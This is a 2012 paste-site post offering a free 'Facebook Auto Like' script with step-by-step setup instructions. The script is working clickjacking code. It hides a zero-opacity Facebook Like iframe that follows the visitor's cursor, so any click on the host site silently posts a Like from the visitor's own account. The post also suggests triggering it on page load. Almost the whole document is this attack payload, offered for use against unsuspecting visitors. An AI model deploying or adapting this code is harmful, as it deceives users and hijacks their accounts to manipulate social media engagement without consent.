Don't like ads? PRO users don't see any ads ;-)
Guest

facebook like by Death Burner

By: a guest on Apr 29th, 2012  |  syntax: None  |  size: 2.74 KB  |  hits: 107  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. [FREE] Facebook Auto Like Script
  2. I've seen a LOT of people trying to sell a script to auto like external pages. It's not worth it. This little script will auto like any external page it's loaded on if the user clicks anywhere on the site. It works. It's free. It can be altered to auto click on page_load too, your choice.
  3.  
  4. First download "jquery-1.4.2.min.js" the version IS important.
  5. Code:
  6. http://code.jquery.com/jquery-1.4.2.min.js
  7. Place this in your header section, right below <title></title>
  8. Code:
  9. <script src="jquery-1.4.2.min.js" type="text/javascript"></script>
  10. <script type="text/javascript">
  11. var interval;
  12.         $(function()
  13. {
  14.     interval=setInterval("updateActiveElement();", 50);
  15. });
  16.  
  17. function updateActiveElement()
  18. {
  19.     if ( $(document.activeElement).attr('id')=="fbframe" )
  20.     {
  21.         clearInterval(interval);
  22.         iflag=1;
  23.     }    
  24. }
  25.        
  26. </script>
  27. Insert this into your footer section right before </body></html>
  28. Make sure to change this code to reflect YOUR site url. Look for smokers-outlet.com and replace with YOURS. Unless you want to promote my site :-)
  29. Code:
  30. <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
  31.  
  32.  
  33. <!--facebook like frame code goes here-->
  34.  
  35.          <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fsmokers-outlet.com%2F&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
  36.          
  37.       <!--end facebook like frame code-->
  38.  
  39.     </div>
  40.    
  41.    
  42.       <script>
  43.     var iflag = 0;
  44.     var icontainer = document.getElementById('icontainer');    
  45.     var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
  46.    
  47.    
  48.    
  49.     function mouseFollower(e){
  50.         /*                    DO NOT EDIT THIS                         */
  51.     if (window.event)
  52.     { // for IE
  53.         icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
  54.         icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
  55.     }
  56.     else
  57.     {
  58.         icontainer.style.top = (e.pageY-5)+'px';
  59.         icontainer.style.left = (e.pageX-5)+'px';
  60.     }
  61.  
  62.     }
  63.     document.onmousemove = function(e) {
  64.         if (iflag == 0) {mouseFollower(e);}
  65.     }
  66.  
  67.     </script>
  68. And that's it. Anytime someone views your site and clicks somewhere (we all click, we just don't realize it) you'll get a FB Like on THEIR account.